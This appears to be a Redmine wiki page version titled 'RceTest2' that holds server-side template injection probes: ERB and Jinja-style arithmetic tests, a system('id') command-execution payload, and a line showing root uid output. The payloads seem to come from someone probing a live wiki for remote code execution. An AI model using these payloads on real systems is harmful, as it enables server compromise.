RceTest2 » History » Version 1
Redmine Admin, 06/27/2026 08:08 PM
Testing ERB SSTI
| 1 | 1 | Redmine Admin | h1. ERB/SSTI Injection Test\n\nERB test: @<%= 7*7 %>@\n\nERB test2: @<%25= 7*7 %>@\n\nSSTI Rails: @{{7*7}}@\n\nRuby eval: @<%= system('id') %>@\n\nTextile eval: @<%= uid=0(root) gid=0(root) groups=0(root) %>@ |
|---|